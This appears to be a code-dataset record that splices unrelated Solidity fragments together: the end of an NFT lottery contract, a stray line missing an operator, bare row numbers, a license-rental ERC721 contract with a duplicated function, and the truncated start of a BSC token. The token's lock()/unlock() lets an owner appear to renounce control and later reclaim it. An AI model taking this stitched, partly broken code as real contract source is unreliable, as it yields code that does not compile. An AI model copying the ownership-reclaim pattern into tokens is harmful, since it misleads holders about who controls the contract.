royaltyAmount) { // require token exists if (ownerOf(_tokenId) != address(0)) { royaltyAmount = _salePrice * 25 / 1000; // Sets a 2.5% royalty to the original minter. receiver = originalMinter[_tokenId]; return (receiver, royaltyAmount); } else { //if the token has not been minted return (address(0), 0); } } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable) returns (bool) { if(interfaceId == _INTERFACE_ID_ERC2981) { return true; } return super.supportsInterface(interfaceId); } //////////////////////////////////////////////// // Admin stuff ////////////////////////////////////////////// function tokenURI(uint256 _tokenId) public view override returns (string memory) { string memory _tokenURI = Strings.toString(_tokenId); string memory ending = ".json"; if (bytes(baseURI).length == 0) { return _tokenURI; } require(ownerOf(_tokenId) != address(0), "this token does not exist!"); return string(abi.encodePacked(baseURI, _tokenURI, ending)); } function setMintingCost(uint _mintingCost) public onlyOwner { mintingCost = _mintingCost; } function openMinting() public onlyOwner { mintingEnded = false; mintingLive = true; } function endSale() public onlyOwner { mintingLive = false; mintingEnded = true; } function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; } function setPotatoHash(string memory _potatoHash) external onlyOwner { potatoHash = _potatoHash; } function withdraw() public onlyOwner { _withdraw(); } function _withdraw() internal { uint _amount = _getAmount(); aW += _amount; require(payable(multiSig).send(_amount)); } function getAmount() public view returns (uint256){ return _getAmount(); } function _getAmount() internal view returns (uint256){ if (winnerWithdrawl) { uint256 _amount = address(this).balance; return _amount; } else { uint256 _limit = (mintingCost * (MAX_SUPPLY - ticketBin)) - prize; require(aW < _limit, "Only Prizes Are Left"); uint256 _amount = address(this).balance; if ((aW + _amount) >= _limit ) { _amount = _limit - aW; } return _amount; } } function withdrawFailsafe() public onlyOwner { uint _amount = _getAmount(); aW += _amount; (bool success, ) = (msg.sender).call{value: _amount}(""); require(success, "Transfer failed."); } function _beforeTokenTransfer( address from, address to, uint256 tokenId) internal virtual override (ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } } // File: HotFuckingPotatoes.sol pragma solidity ^0.8.0; // Thanks for reading, its my first live contract. Have to thank Hank for the tokenId Generator! // Otherwise read on, and mint yourself a potato // // -- PotatoBob // twitter --> @nft_potatoes // website (for now) ---> halfbaked.wtf contract HotFuckingPotatoes is HotPotato, VRFConsumerBase { ///////// I split the contract into two. This half has all of the uniswap and chainlink integrations using SafeERC20 for IERC20; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant steth = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; IERC20 public stETH = IERC20(steth); IUniswapV2Router02 public immutable swapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address[] public swapPath = [weth, steth]; uint24 public constant poolFee = 3000; mapping (uint => uint) public stETHTokenBalance; //stuff for chainlink address internal VRFCoordinator = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; address internal LinkToken = 0x514910771AF9Ca656af840dff83E8264EcF986CA; bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; uint256 internal fee = 2 * 10 ** 18; //Change to 2 for mainnet uint public randomResult; bytes32 private randomRequestId; bool public waitingForRandomResult; constructor(address _multiSigAddress, address[] memory _toTicket) HotPotato(_multiSigAddress, _toTicket) VRFConsumerBase( VRFCoordinator, LinkToken) { } // yields interest bearing stETH in your potato. The amount is up to you! Any excess tx value will be steak-in-your-potato (yumm!) // stETH can be collected by using the 'eatPotato()' function function smartMint(uint _qty) public payable nonReentrant returns (uint256[] memory) { uint _value = msg.value; require(mintingLive, "Minting has not yet started!"); require((_value > getMintingCost(1)), "Not enough Eth"); require((getRemainingSupply() >= _qty), "You can't eat that many potatoes"); (uint _newQty, uint _change) = _getQtyAndChange(_qty, _value); uint256[] memory _tokenIdArray = new uint256[](_qty); _tokenIdArray = _mintPotato(_newQty, false, msg.sender); uint _amountIn = _stETHaquisition(_change); uint _amountInPerPotato = _amountIn / _qty; for (uint i = 0; i < _qty; i++) { stETHTokenBalance[_tokenIdArray[i]] = _amountInPerPotato; } stETHTokenBalance[_tokenIdArray[0]] += _amountIn % _qty; return _tokenIdArray; } function _stETHaquisition(uint _amountOfETHToSwap) internal virtual returns (uint) { uint _amountToRecieveMin = _amountOfETHToSwap - (_amountOfETHToSwap / 10); uint _deadline = block.timestamp + 12 minutes; uint[] memory amounts = swapRouter.swapExactETHForTokens{value: _amountOfETHToSwap }( _amountToRecieveMin, swapPath, address(this), _deadline); return amounts[1]; } function _stETHWithdraw(uint _tokenId, address _receivingAddress) internal virtual returns (bool) { uint _amountToSend = stETHTokenBalance[_tokenId]; stETHTokenBalance[_tokenId] = 0; stETH.safeTransfer(_receivingAddress, _amountToSend); return true; } function eatPotato(uint _tokenId) public nonReentrant returns (bool) { address _tokenOwner = ownerOf(_tokenId); require(((msg.sender == _tokenOwner) || isApprovedForAll(_tokenOwner, msg.sender)), "ERC721Burnable: caller is not owner nor approved"); _burn(_tokenId); _stETHWithdraw(_tokenId, _tokenOwner); return true; } function stuffPotato(uint _tokenId) public payable nonReentrant returns (uint) { uint _amountIn = _stETHaquisition(msg.value); stETHTokenBalance[_tokenId] += _amountIn; return _amountIn; } function eatPotato(uint _tokenId, address _receivingAddress) public nonReentrant returns (bool) { address _tokenOwner = ownerOf(_tokenId); require(((msg.sender == _tokenOwner) || isApprovedForAll(_tokenOwner, msg.sender)), "ERC721Burnable: caller is not owner nor approved"); _burn(_tokenId); _stETHWithdraw(_tokenId, _receivingAddress); return true; } ////////////////////////////////////////////////////////////////////////// //// PRIZE DRAWING /////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // ANYONE can process this transaction, so long as minting has complete!// ////////////////////////////////////////////////////////////////////////// function drawWinner() public nonReentrant returns (bool){ require((getRemainingSupply() - getUnclaimed()) <= 1, "Still Minting"); require(!waitingForRandomResult, "Waiting for result"); require(!winnerWithdrawl, "Already Drawn"); bytes32 requestId = _getRandomNumber(); randomRequestId = requestId; return true; } function _getRandomNumber() internal returns (bytes32 requestId) { require(!waitingForRandomResult); require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK"); waitingForRandomResult = true; requestId = requestRandomness(keyHash, fee); return requestId; } function fulfillRandomness(bytes32 requestId, uint randomness) internal override { require((requestId == randomRequestId), "RandomError!"); _distributeWinnings(randomness); } function _distributeWinnings(uint randomness) private { uint _randomTokenId = randomness % MAX_SUPPLY; address _winner = _chooseARandomPotato(_randomTokenId); bool _result = _winnerWithdraw(_winner); require(_result, "Tx error"); waitingForRandomResult = false; } function _chooseARandomPotato(uint256 _tokenId) internal returns (address _theChosenOne) { _theChosenOne = ownerOf(_tokenId); require(balanceOf(_theChosenOne) >= 1, "Error"); emit TheChosenPotato(_tokenId, _theChosenOne); return _theChosenOne; } function _winnerWithdraw(address _winner) private returns (bool) { require(prize > 0); require(!winnerWithdrawl, "Already Drawn"); uint256 _prizeAmount = prize; // Set to 50 ether, or about USD$200,000 at time of writing. require(payable(_winner).send(_prizeAmount)); winnerWithdrawl = true; return winnerWithdrawl; } ////////////////////////////////////////// // smartMint() Getter Functions ///////////////////////////////////////// function checkSteak(uint _tokenId) public view returns (uint _bal) { _bal = stETHTokenBalance[_tokenId]; return _bal; } }
uint _total = _qty mintingCost;
function _beforeMint(uint _qty) private returns (uint256[] memory) { uint _value = msg.value; require(mintingLive, "Minting has not yet started!"); require((_value >= mintingCost), "Not enough Eth"); require((supplyRemaining >= _qty), "You can't eat that many potatoes"); (uint _newQty, uint _change) = _getQtyAndChange(_qty, _value); uint256[] memory _tokenIdArray = new uint256[](_qty); _tokenIdArray = _mintPotato(_newQty, false, msg.sender); _refundChange(_change); return _tokenIdArray; }
1,414,655
pragma solidity ^0.4.17; import 'zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol'; import "zeppelin-solidity/contracts/ownership/Ownable.sol"; import "./LicenseSale.sol"; /** * @title LicenseManager * @dev purpose: to manage the licences for assets via rental agreement */ contract LicenseManager is ERC721Token, Ownable { using SafeMath for uint256; /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "LicenseManager"; string public constant symbol = "LM"; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } // Events event CreateLicense(uint256 _licenseId); event ReleaseLicense(uint256 _licenseId); event ObtainLicense(address indexed _to, uint256 _licenseId, uint256 _daysOfLicense); event SetLicenseRate(uint256 _licenseId, uint256 _rate); // Mapping from license ID to license holder // It will be the owner if not currently licensed mapping (uint256 => address) private licenseHolder; // Mapping from license ID to release time if held by licensor mapping (uint256 => uint256) private licReleaseTime; // Mapping from license ID to rental rate in wei (0 = not for rent) mapping (uint256 => uint256) private dailyLicenseRate; // Holds the accumulated rent of the owners in the tokens // Since the token could be rented, it is not held in the users address mapping (uint256 => uint256) private tokenBalances; /// @dev The address of the LicenseSale contract that handles sale of tokens LicenseSale public licenseSale; // Constructor function LicenseManager() public { } /// @dev Sets the reference to the license sale contract. /// @param _address - Address of sale contract. function setLicenseSaleAddress(address _address) external onlyOwner { LicenseSale candidateContract = LicenseSale(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isLicenseSale()); // Set the new contract address licenseSale = candidateContract; } function getLicenseSaleAddress() external returns(address) { return licenseSale; } /** * @dev Function to create a new license and add it to the owner * @param _licenseId The id of license to mint. * @return A boolean that indicates if the operation was successful. */ function createLicense(uint256 _licenseId) onlyOwner public returns (bool) { _mint(msg.sender, _licenseId); licenseHolder[_licenseId] = msg.sender; CreateLicense(_licenseId); return true; } /** * @dev Releases license held by licensor once the time has expired. * @param _licenseId The id of license to release. * @return A boolean that indicates if the operation was successful. */ function releaseLicense(uint256 _licenseId) public returns (bool) { // There is a license holder require(licenseHolder[_licenseId] != address(0)); // The time has expired require(now >= licReleaseTime[_licenseId]); // Clear out the license licenseHolder[_licenseId] = ownerOf(_licenseId); CreateLicense(_licenseId); return true; } /** * @dev Set the rate for rental of the license in wei. * @param _licenseId The id of license to rent. * @return A boolean that indicates if the operation was successful. */ function setLicenseRate(uint256 _licenseId, uint256 _rate) public returns (bool) { // Sender is license owner require(ownerOf(_licenseId) == msg.sender); // Set the license rate dailyLicenseRate[_licenseId] = _rate; SetLicenseRate(_licenseId, _rate); return true; } /** * @dev Obtain a license held by licensor once the time has expired. * @param _licenseId The id of license to mint. * @param _daysOfLicense How many days you wish to hold it. * requires the transaction sends funds for number of days times the daily cost */ function obtainLicense(uint256 _licenseId, uint256 _daysOfLicense) public payable returns (bool) { require(_daysOfLicense > 0); // There is a license owner require(ownerOf(_licenseId) != address(0)); require(dailyLicenseRate[_licenseId] > 0); // check if license can be released releaseLicense(_licenseId); // make sure no one holds license already (owner holds) require(licenseHolder[_licenseId] == ownerOf(_licenseId)); // The correct funds are sent require(msg.value == _daysOfLicense * dailyLicenseRate[_licenseId]); // Credit the funds to the toekn tokenBalances[_licenseId] = msg.value; // Grant the license licenseHolder[_licenseId] = msg.sender; licReleaseTime[_licenseId] = now + (_daysOfLicense * 1 days); ObtainLicense(msg.sender, _licenseId, _daysOfLicense); return true; } /** * @dev Allows a user to withdraw any balance granted to them by licenses. */ function withdrawBalance() public { address payee = msg.sender; uint256 payment = 0; uint256[] memory tokens = tokensOf(payee); for (uint i = 0; i < tokens.length; i++) { payment = payment.add(tokenBalances[tokens[i]]); tokenBalances[tokens[i]] = 0; } require(payment != 0); require(this.balance >= payment); assert(payee.send(payment)); } /** * @dev Query the current balance of a owner. * @return current balance in wei */ function getBalance() public view returns (uint256) { address payee = msg.sender; uint256 payment = 0; uint256[] memory tokens = tokensOf(payee); for (uint i = 0; i < tokens.length; i++) { payment = payment.add(tokenBalances[tokens[i]]); } return payment; } /** * @dev Gets the licenseHolder of the specified license * @param _licenseId uint256 ID of the license to query the licenseHolder of * @return owner address currently marked as the licenseHolder of the given license ID */ function getLicenseHolder(uint256 _licenseId) public view returns (address) { address holder = licenseHolder[_licenseId]; return holder; } /** * @dev Gets the license daily rate * @param _licenseId uint256 ID of the license to query the rate of * @return daily rate in wei */ function getLicenseRate(uint256 _licenseId) public view returns (uint256) { return (dailyLicenseRate[_licenseId]); } /** * @dev Gets the time left on the license of the specified license * @param _licenseId uint256 ID of the license to query the timeleft * @return time left in seconds */ function getLicenseTimeLeft(uint256 _licenseId) public view returns (uint256) { if (licenseHolder[_licenseId] == ownerOf(_licenseId) || ownerOf(_licenseId) == address(0)) return (0); if (now >= licReleaseTime[_licenseId]) return (0); return (licReleaseTime[_licenseId] - now); } /** * @dev Gets if license is available * @param _licenseId uint256 ID of the license to query * @return returns if this license is available */ function isLicenseAvailable(uint256 _licenseId) public view returns (bool) { return (ownerOf(_licenseId) != address(0) && ownerOf(_licenseId) == licenseHolder[_licenseId] && dailyLicenseRate[_licenseId] > 0); } /** * @dev Gets if a user has a license * @param _holder address to query * @param _licenseId uint256 ID of the license to query * @return returns if this license is available */ function hasLicense(address _holder, uint256 _licenseId) public view returns (bool) { require(ownerOf(_licenseId) != address(0)); // This is the holder of the license and time has not expired. return (_holder == licenseHolder[_licenseId] && (licReleaseTime[_licenseId] - now) > 0); } /// @dev Put a token up for sale. /// Does some ownership trickery to create sale in one tx. function createSale( uint256 _tokenId, uint256 _price ) external { // If token is already on any sale, this will throw // because it will be owned by the sale contract. require(ownerOf(_tokenId) == msg.sender); approve(licenseSale, _tokenId); // Sale throws if inputs are invalid and clears // transfer approval after escrowing the token. licenseSale.createSale( _tokenId, _price, msg.sender ); } }
Gets the licenseHolder of the specified license _licenseId uint256 ID of the license to query the licenseHolder of return owner address currently marked as the licenseHolder of the given license ID/
function getLicenseHolder(uint256 _licenseId) public view returns (address) { address holder = licenseHolder[_licenseId]; return holder; }
12,662,200
// SimCoin.sol // Submitted for verification at BscScan.com on 2021-05-19 pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // Benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // Silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(now > _lockTime, "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 